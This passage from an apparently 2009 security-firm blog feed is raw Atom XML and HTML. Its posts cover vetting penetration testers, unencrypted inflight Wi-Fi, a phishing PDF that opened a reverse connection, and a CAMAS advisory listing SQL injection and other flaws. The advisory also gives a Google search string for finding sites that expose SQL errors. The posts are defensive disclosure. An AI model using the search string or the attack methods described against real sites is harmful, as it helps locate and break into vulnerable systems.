war. &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;So why do some security companies test at this lesser level? Its simple really, they are in the business of making money and care more about that then they do about actually protecting their customer’s infrastructure.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Additionally, there is a market for that sort of low quality testing.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;There are some businesses that don’t actually care about their security posture; they just care about passing the test so that they can put a check in their compliancy box.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Then there are other businesses that unknowingly get taken advantage by of vendors  because they don’t know the difference between high quality and low quality services.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;So what is the difference between high quality and low quality?&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;From a high level perspective it’s the difference between real manual research based security testing or not. &lt;span style="mso-spacerun: yes"&gt; &lt;/span&gt;Once hackers have access, they can do anything to your data from steal it, to install back door technology in your product's source code.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Its happened before, and its going to happen again.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;When a company tells you that they perform manual testing hold their feet to the fire.   You can do the following things to verify it:&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Dig into their methodology and ask them specific questions about how they perform their testing. (See our white papers on how to do that).&lt;/li&gt;&lt;li&gt;Don’t swallow jargon and terms that sound cool and don’t mean anything, use Wikipedia to look up the terms and make sure that they make sense.&lt;/li&gt;&lt;li&gt;Ask them for the names of their security experts and then use tools like &lt;a href="http://www.google.com"&gt;Google&lt;/a&gt;, &lt;a href="http://www.linkedin.com"&gt;LinkedIn&lt;/a&gt;, &lt;a href="http://www.facebook.com"&gt;Facebook&lt;/a&gt; and &lt;a href="http://www.pipl.com"&gt;PIPL&lt;/a&gt; to do research on those experts.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;If nothing comes up then chances are their experts aren’t experts at all.&lt;/li&gt;&lt;li&gt;Search vulnerability databases like &lt;a href="http://www.milw0rm.com/"&gt;milw0rm&lt;/a&gt;, &lt;a href="http://www.securityfocus.com/"&gt;securityfocus&lt;/a&gt;, &lt;a href="http://www.vupen.com/english/"&gt;sirtfr&lt;/a&gt;, &lt;a href="http://secunia.com/advisories/"&gt;secunia&lt;/a&gt;, &lt;a href="http://www.packetstormsecurity.org/"&gt;packetstormsecurity&lt;/a&gt;, etc. for the vendor’s name to see if they have &lt;a href="http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=Netragard&amp;amp;type=archives&amp;amp;%5Bsearch%5D.x=0&amp;amp;%5Bsearch%5D.y=0"&gt;research capabilities&lt;/a&gt;. If you don’t get anything in return then chances are that they don’t have research capabilities.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;If that’s the case then how do you expect them to perform quality manual testing?&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Chances are that they won’t be able to. &lt;span style="mso-spacerun: yes"&gt; &lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt;Remember you’re putting the integrity of your business and its respective name into their hands.&lt;/o:p&gt;&lt;/p&gt;  &lt;!--EndFragment--&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-5973818304828963188?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/5973818304828963188/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2009/07/truth-behind-manual-testing.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/5973818304828963188'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/5973818304828963188'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2009/07/truth-behind-manual-testing.html' title='Verify Your Security Provider -- The truth behind manual testing.'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-1090255046744774761</id><published>2009-06-22T19:43:00.000-07:00</published><updated>2009-06-22T20:20:25.801-07:00</updated><title type='text'>SNOsoft - Blosoft - GLOsoft - Awesome!</title><content type='html'>Normally we wouldn't give an iota of attention to &lt;a href="http://en.wikipedia.org/wiki/Internet_troll"&gt;trolls&lt;/a&gt;, but there's always the exception to the rule.  The past two advisories that we (Netragard/SNOsoft) released have been followed up by a troll publishing hilarious spoofs of those advisories.  So far the spoofs they've released can be found here and are called "&lt;a href="http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2009-05/msg00184.html"&gt;BloSoft&lt;/a&gt;" and "&lt;a href="http://seclists.org/fulldisclosure/2009/Jun/0220.html"&gt;GloSoft&lt;/a&gt;".  We're actually proud (and flattered) that these trolls think that we're important enough to spoof because that's a testament to our success as a security company.  To us, its sort of like being the target subject for a Saturday Night Live skit.  So for the first time ever, thank you to the troll whoever you are!&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-1090255046744774761?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/1090255046744774761/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2009/06/snosoft-blosoft-glosoft-awesome.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/1090255046744774761'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/1090255046744774761'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2009/06/snosoft-blosoft-glosoft-awesome.html' title='SNOsoft - Blosoft - GLOsoft - Awesome!'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-2852909612406718072</id><published>2009-05-06T18:02:00.000-07:00</published><updated>2009-05-27T06:02:28.720-07:00</updated><title type='text'>Aircell GoGo Inflight Internet - Hackers on a plane</title><content type='html'>&lt;a href="http://www.gogoinflight.com/"&gt;GoGo Inflight Internet&lt;/a&gt; is a Wi-Fi service provided by &lt;a href="http://www.aircell.com/"&gt;AirCell&lt;/a&gt; and offered to an increasing number of airline passengers. This service enables users to connect to the Internet while in transit for business or pleasure. While the service is a great idea, its implementation is flawed and as such its users are put at risk. This blog entry is our effort to help educate GoGo Inflight Internet users about the risks involved so that they can make an informed decision about its use.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;Over the past month we've made a continued strong effort to establish communications with AirCell regarding this issue.  We have not yet received any response from AirCell other than &lt;/span&gt;&lt;a href="http://en.wikipedia.org/wiki/Return_receipt"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;email disposition notifications&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt; and their CTO commenting on a &lt;/span&gt;&lt;a href="http://www.economist.com/blogs/gulliver/2009/05/inflight_internet_is_it_secure.cfm?sort=asc"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;blog.&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;  We want to know what AirCell is going to do to protect its users and secure its Wi-Fi Access Points.  It is important to understand that public Wi-Fi isn't easy to secure by its very nature, but it shouldn't be completley open.  Especially since many of its users are business users who connect to their business networks while in-flight  (updated on 05/27/2009).&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Lets begin...&lt;br /&gt;&lt;br /&gt;The problem with GoGo Inflight Internet is that it doesn't offer any link layer security to its users.  An example of Link layer security is Wi-Fi Protected Access  (WPA) which provides a mechanism for encrypting wireless transmissions so that they are not intelligible to would be attackers.  WPA is offered by most ground based Hot-Spot Wi-Fi providers including &lt;a href="http://antivirus.about.com/od/wirelessthreat1/a/starbucks.htm"&gt;Starbucks&lt;/a&gt; which is the most commonly used Internet Cafe/Wi-Fi Hot-Spot.&lt;br /&gt;&lt;br /&gt;Instead of GoGo Inflight Internet protecting its users at the link layer, it openly transmits its users network traffic in much the same way that a radio station transmits music.  The primary difference between the two is that the GoGo Inflight Internet Wi-Fi transmission is bidirectional and radio stations are unidirectional. That means that anyone can listen to the network data being sent by the GoGo Inflight Internet service (or any unprotected hot-spot) and they can transmit to it.&lt;br /&gt;&lt;br /&gt;This also means that a hacker can listen in on all network conversations and record all data that is sent or received by GoGo Inflight Internet users.  Because the vulnerability exists at the link layer, there's no way to establish a trustworthy SSL connection or VPN connection.  This means that a hacker can capture credit card information while GoGo Inflight Internet users purchase their in-transit internet service.  This credit capture is done by using a Man-in-the-Middle attack to defeat the security of the SSL or VPN connection during the initialization process. Here's one example of an &lt;a href="http://www.sans.org/reading_room/whitepapers/threats/ssl_maninthemiddle_attacks_480?show=480.php&amp;amp;cat=threats"&gt;SSL Man-in-the-Middle from the SANS Institute&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Unfortunately the risk doesn't end there, and it is also possible to gain access to business networks by exploiting users of the GoGo Inflight Internet service (or any other unprotected Wi-Fi Hot-Spot).  Remember, the attacker can receive and send network data.  This means that the attacker can inject malicious content into a users network stream, or redirect the user to a malicious location.  In both cases the attacker can gain access to a GoGo Inflight Internet users computer and even infect it with a worm, trojan, etc.&lt;br /&gt;&lt;br /&gt;Once the attacker has access to the users computer there are two possible ways to get into the users business network.  The most effective way would be to install a program on the laptop that calls home when the laptop is connected to the business network (bots do this).  Once the computer calls home, the attacker would be able to establish a reverse connection into the business network and its game over at that point.&lt;br /&gt;&lt;br /&gt;The other option might not be as successful depending on what sort of VPN client the user is using.  But it is sometimes possible to wait for a victim to establish a VPN connection and then for the attacker to ride in on the VPN connection.  In other words, the user won't be the only person using the VPN to access his  or business network, the attacker will be there too.&lt;br /&gt;&lt;br /&gt;Its important to understand that the risks associated with using an unprotected Wi-Fi network are &lt;a href="http://www.google.com/search?q=unprotected+wifi+risks&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=org.mozilla:en-US:official&amp;amp;client=firefox-a"&gt;well documented&lt;/a&gt; and have been for quite some time now.  That begs the questions as to why Aircell didn't implement some form of link layer security for their users.  More importantly, what is Aircell going to do to protect its users?  While we did make multiple efforts to establish a communication channel with Aircell, we have yet to hear back from them aside from email return receipts.&lt;br /&gt;&lt;br /&gt;We did however read some of their comments on the &lt;a href="http://www.economist.com/blogs/gulliver/2009/05/inflight_internet_is_it_secure.cfm#commentForm"&gt;Economist&lt;/a&gt;, so we'll address those here.  Aircell's CTO Joe Cruz  said "Our capabilities are not much different from what you encounter in hotel rooms, in Starbucks and in public hotspots," he tells me. "And if you're on the ground, you're actually more susceptible to spamming because hackers know where you are."&lt;br /&gt;&lt;br /&gt;We've already addressed his first point about "hotel rooms, in Starbucks and in public hotspots" and demonstrated that they do in fact offer WPA2 to their users.  His second point about being more susceptible "to spamming because hackers know where you are" is inaccurate.  Firstly, spamming has nothing to do with wether or not you're on an airplane, but the threat does.  The fact of the matter is that on an airplane you are likely at a higher threat level than if you were on the ground.&lt;br /&gt;&lt;br /&gt;Here's why...&lt;br /&gt;&lt;br /&gt;If you think about the audience on an airplane and compare that to the audience in an internet cafe or other ground based Wi-Fi Hot-Spot there are two significant differences.  The first is that the airplane will likely have a higher concentration of business people than the internet cafe.  The second is that the Wi-Fi users on an airplane are likely to stay connected during the duration of the flight, while in an internet cafe they are likely to be connected quickly to check email or something similar.  As a result, the Wi-Fi capable airplane is a much more high value target for malicious hackers than a cyber-cafe.&lt;br /&gt;&lt;br /&gt;Joe Cruz goes on to say ""If you’re in an airplane, you’re with a select group of people," he says. "One of the great screeners is the $365 you pay to get on the plane."  He's right about the select group of people, if one of them is a malicious hacker then you're effectively held captive until the plane lands. With respect to his comment about the $365 screener, a malicious hacker would think of that as a minor investment when compared to how much money can be made by doing the hack right.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-2852909612406718072?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/2852909612406718072/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2009/05/aircell-security-advisory-released-gogo.html#comment-form' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/2852909612406718072'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/2852909612406718072'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2009/05/aircell-security-advisory-released-gogo.html' title='Aircell GoGo Inflight Internet - Hackers on a plane'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-3242224537353414562</id><published>2009-04-03T21:07:00.001-07:00</published><updated>2009-04-03T22:16:43.491-07:00</updated><title type='text'>Conficker (and friends)  v.s. Quality Penetration Testing</title><content type='html'>Its funny to me that people haven't commented on the fact that the ability of a worm to spread is proof positive of just how insecure today's networks are.  (Yet, even with this lack of security others are talking about this kick-ass idea of "Cloud Computing").  The fact is that if people managed their networks properly (&lt;a href="http://www.netragard.com"&gt;which includes testing properly with quality security service providers&lt;/a&gt;) that worms would not be able to spread, or at least not so quickly and on such a wide scale.&lt;br /&gt;&lt;br /&gt;As an example, we recently performed a penetration test for one of our customers.  The time between project kickoff and successful penetration was less than 15 minutes. That is to say that we were able to hack into our customers network within 15 minutes of starting the project.  The way we did it was to create a .&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;pdf&lt;/span&gt; based invoice and send it to the customer from a trusted source.  This particular invoice wasn't really an invoice of course, it was a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;pdf&lt;/span&gt; document designed to exploit a vulnerability in their adobe acrobat reader.  In this case, when our victim opened the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;pdf&lt;/span&gt; document their computer established a reverse http connection back to us.  We then tunneled back in over that connection and had access to our customer's network. If we were malicious it would have been game over.&lt;br /&gt;&lt;br /&gt;So what does this have to do with worms? If you think about it a worm uses the same methodology for penetrating into networks as hackers do.  Just like hackers, worms will penetrate your network by embedding themselves in files (like our &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;PDF&lt;/span&gt; example above), or by exploiting vulnerabilities in computers systems, or maybe via social engineering. Either way, the technique is the same, and as such the defense should be the same. Why isn't it?&lt;br /&gt;&lt;br /&gt;Most people _try_ to protect their networks with anti-virus scanners and other technology. They implement these scanners on their desktops, servers, gateway's etc.  They also use Intrusion Detection/Prevention Systems, firewalls and other similar solutions in an attempt to prevent infection or penetration.  They never stop to question the &lt;a href="http://www.milw0rm.com"&gt;security of the technology that they install&lt;/a&gt;. In 2006 &lt;a href="http://www.iss.net/threats/223.html"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;Symantec's&lt;/span&gt; own Antivirus technology was vulnerable to attack&lt;/a&gt;. Back then it was possible to send someone a specially crafted email to penetrate into their computer. The fact is that technology is, and will always be fallible unless it is proved to be secure with &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_5"&gt;mathematics&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_6"&gt;I'm&lt;/span&gt; not saying that technology is useless because it isn't.  I am saying that technology should be augmented with frequent security testing.  Those tests should be delivered by a quality security provider capable of creating a threat that is at least as intense as what customers will face in the real world.  Once testing is done at that "real" level the resulting deliverable will enable people to build good defenses that are based on solid recommendations.&lt;br /&gt;&lt;br /&gt;Continuing with the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;pdf&lt;/span&gt; customer...  One of the recommendations that we made to our customer was that they install a proxy to control outbound http and https traffic. We also recommended that they drop all outbound traffic that is not &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_8"&gt;necessary&lt;/span&gt; for day-to-day business operations. We made that recommendation because of how easily we penetrated their network with &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;PDF&lt;/span&gt; and the reverse http connection. &lt;br /&gt;&lt;br /&gt;The customer &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_10"&gt;implemented&lt;/span&gt; our recommendations and when we retested their network were unable to get anything to call home.  As a result of our work worms like &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;Conficker&lt;/span&gt; can not function properly on our customer's network because they can not call home. Instead, if they do get in they sit on the network isolated and useless until they are eliminated by the anti-virus technology.&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-3242224537353414562?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/3242224537353414562/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2009/04/conficker-and-friends-vs-quality.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/3242224537353414562'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/3242224537353414562'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2009/04/conficker-and-friends-vs-quality.html' title='Conficker (and friends)  v.s. Quality Penetration Testing'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-1818284401919870556</id><published>2009-02-24T13:12:00.000-08:00</published><updated>2009-05-04T11:36:43.287-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Medical'/><category scheme='http://www.blogger.com/atom/ns#' term='LLC. CAMAS Advisory'/><category scheme='http://www.blogger.com/atom/ns#' term='Powered by Cambium Group'/><category scheme='http://www.blogger.com/atom/ns#' term='cambium group security'/><category scheme='http://www.blogger.com/atom/ns#' term='LLC.'/><category scheme='http://www.blogger.com/atom/ns#' term='Hospital'/><category scheme='http://www.blogger.com/atom/ns#' term='Cambium Group'/><category scheme='http://www.blogger.com/atom/ns#' term='Credit Union'/><title type='text'>Cambium Group, LLC. CAMAS Advisory</title><content type='html'>&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;We've finally released the &lt;/span&gt;&lt;span&gt;&lt;a href="http://www.netragard.com/pdfs/research/NETRAGARD-20070820-CAMBIUM.txt"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Cambium Group, LLC Content Management System ("CAMAS") advisory after much waiting and debate.&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;  These security risks were discovered in CAMAS during a customer penetration test that we did in August of 2007 (we notified the Cambium Group about these risks on 08/24/2007). The security vulnerabilities that are disclosed in the advisory are kept very high level and low detail as to not arm any potentially malicious people. Unfortunatley the vulnerabilities still exist today (almost two years later) according to some recent Google research that we did. In fact, according to Google's cache the Cambium Group's own website was vulnerable as of Feburary 9th 2009 to the exact same vulnerabilities that we alerted them to on 08/24/07 (see the screen shot below).&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div&gt;&lt;img style="margin: 0px auto 10px; text-align: left; display: block; cursor: pointer; width: 400px; height: 226px;" src="http://4.bp.blogspot.com/_EB6c20kYC_c/Sab33FWDJdI/AAAAAAAAABc/SfkOnFKG3GM/s400/cambium_screenshot.jpg" alt="" id="BLOGGER_PHOTO_ID_5307201736602232274" border="0" /&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div&gt;&lt;div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;We can't ethically test Cambium Group customer's websites without their permission, hence why we rely on Google for this information. Google sometimes triggers vulnerabilities in websites while crawling them and the results get recorded to Google's  database. When that happens they become searchable (and get cached). Malicious hackers and script kiddies also use Google in this way to identify websites that are vulnerable to SQL Injection.  This gives them an easy set of targets that they can compromise with little effort.&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: center;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;You can check to see if Google stumbled upon a vulnerability in your instance of CAMAS by using the following technique.  Type the following string into the Google search engine but replace www.company.com with your company's domain (see the screen shot below as an example.) String (without the quotes): "&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;inurl:www.yourcompany.com 1064 You have an error in your SQL&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;"&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 131px;" src="http://1.bp.blogspot.com/_EB6c20kYC_c/Sab8QZ4PWII/AAAAAAAAAB0/WK0yuHlVPTk/s400/Picture+3.png" alt="" id="BLOGGER_PHOTO_ID_5307206569657587842" border="0" /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;When you hit the search button (and if Google has a cached version of your website being vulnerable) you will see a link that reads something like "&lt;/span&gt;&lt;em style="font-weight: bold; font-style: normal; text-decoration: inherit;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;1064&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;: &lt;/span&gt;&lt;em style="font-weight: bold; font-style: normal; text-decoration: inherit;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;You have an error in your SQL&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; syntax near '' at line 1 select * from Template where TemplateID =". That error is an SQL error that demonstrates that your website is (or was) vulnerable to&lt;/span&gt;&lt;a href="http://en.wikipedia.org/wiki/SQL_injection"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; SQL Injection&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;. SQL Injection Vulnerabilities are one of the more serious risks because they can be used by hackers to gain administrative levels of access to websites, web servers and their respective content. &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Unfortunatley, if Google doesn't respond with something like the response shown above, you might still be vulnerable.  SQL Injection vulnerabilities can also be blind in nature, meaning that they do not throw errors back to the attacker but that they can still be used to penetrate into systems (in some cases they may throw non-informational errors).  *Additionally, CAMAS isn't only vulnerable to SQL Injection, but it is also vulnerable to &lt;/span&gt;&lt;a href="http://en.wikipedia.org/wiki/Cross-site_scripting"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Cross-Site Scripting&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;, &lt;/span&gt;&lt;a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Cross-SIte Request Forgery&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;, Local File Inclusion, &lt;/span&gt;&lt;a href="http://en.wikipedia.org/wiki/Remote_File_Inclusion"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Remote File Inclusion&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;, and some Cryptographic Weaknesses (*according to testing done in 2007 and to more Google homework).&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;The reason why we were unable to come forward with this advisory back in 2007 is because the Cambium Group hadn't yet fixed the vulnerabilities that we discovered in our customers instance of CAMAS.  &lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;We were only recently able to come forward because an ex Cambium Group consultant exposed these same vulnerabilities&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;a href="http://www.derkeiler.com/pdf/Mailing-Lists/Full-Disclosure/2009-02/msg00143.pdf"&gt; in a posting that he made to the Full Disclosure mailing list. &lt;/a&gt;As a result we felt that it would be prudent to release a formal advisory to help CAMAS users become aware of the risks and defend against them.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Our normal process for vulnerability research and advisory release is to work with the vendor in a friendly and professional manner.  We've got quite a bit of expereince in doing this with vendors like Apple, HP, etc.  In most cases vendors respond with questions about how to fix the vulnerabilities that we discovered.  We provide them with all of the information that we can and wait for them (while working with them) to create a fix.  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;In most cases this process takes anywhere from 3 to 6 months, but when its done, we've done our job and the risks are eliminated.  Not only does this type of work help the vendor to keep their customer's safe, but it also enables the vendor to demonstrate to their customers that they take security seriously. We attempted to follow the same practice with the &lt;/span&gt;&lt;span&gt;&lt;a href="http://www.cambiumgroup.com/"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Cambium Group, LLC.&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; but no fixes were ever pushed out to their customers (based on what we saw). To the best of our knowledge, this is the first time that a CAMAS advisory has been released about the vulnerabilities that we discovered in 2007.  If that is inaccurate, please leave us a comment and we'll consider updating this entry.  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;a href="http://www.theregister.co.uk/2009/02/25/cambium_group_advisory/"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;In addition to our advisory being published, there also exists a good article that was written by Dan Goodin at the register. &lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Dan Goodin took the time to contact the Cambium Group to hear their side of the story before writing the article (as any good reporter does).  Something to make note of before reading the article is a quote from Scott Wells where he said "All of the recommendations that Netragard gave were followed and the site was then able to pass their validation process." We're not sure why he said that, we never rechecked the customer site and we don't have a "validation process".&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span 